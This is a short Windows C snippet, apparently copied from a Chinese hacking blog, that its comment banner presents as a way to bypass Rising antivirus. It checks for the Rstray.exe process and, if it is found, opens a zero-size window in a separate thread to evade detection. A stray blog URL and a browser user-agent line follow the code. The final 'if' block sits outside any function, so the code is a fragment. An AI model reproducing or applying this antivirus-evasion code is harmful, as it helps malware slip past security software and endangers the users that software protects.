#include <Tlhelp32.h>
/*----------------------------------窗体过瑞星------------------------------------*/
BOOL ProcessExit(LPCTSTR szProcName)
{
PROCESSENTRY32 pe;
DWORD dwRet;
BOOL bFound = FALSE;
HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSP)
{
pe.dwSize = sizeof( pe );
for (dwRet = Process32First(hSP, &pe);
dwRet;
dwRet = Process32Next(hSP, &pe))
{
if (lstrcmpi( szProcName, pe.szExeFile) == 0)
{
bFound = TRUE;
break;
}
}
CloseHandle(hSP);
}
return bFound;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, message, wParam, lParam);
}
DWORD WINAPI Fun_CreateWindow( LPVOID pData )
{
HWND hWnd = NULL;
HINSTANCE SelfHin = GetModuleHandle(NULL);
MSG msg;
WNDCLASSEX wcex;
PCHAR szWindowClass = "Oath";
memset( &wcex, 0, sizeof(WNDCLASSEX) );
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.hInstance = SelfHin;
wcex.hIcon = LoadIcon( NULL, IDI_WINLOGO );
wcex.hCursor = LoadCursor( NULL, IDC_ARROW );
wcex.hbrBackground = (HBRUSH)COLOR_WINDOW;
wcex.lpszClassName = szWindowClass;
RegisterClassEx(&wcex);
hWnd = CreateWindow( szWindowClass, "", WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, SelfHin, NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_SHOW );
UpdateWindow(hWnd);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
/*----------------------------------窗体过瑞星------------------------------------*/
if (ProcessExit("Rstray.exe"))
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fun_CreateWindow, NULL, 0, NULL);
Sleep(50);
}
http://hi.baidu.com/ksattack/blog/item/afe66dede28c4b242cf53432.html
用户系统信息：Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.195.0 Safari/531.0 SE 2.X
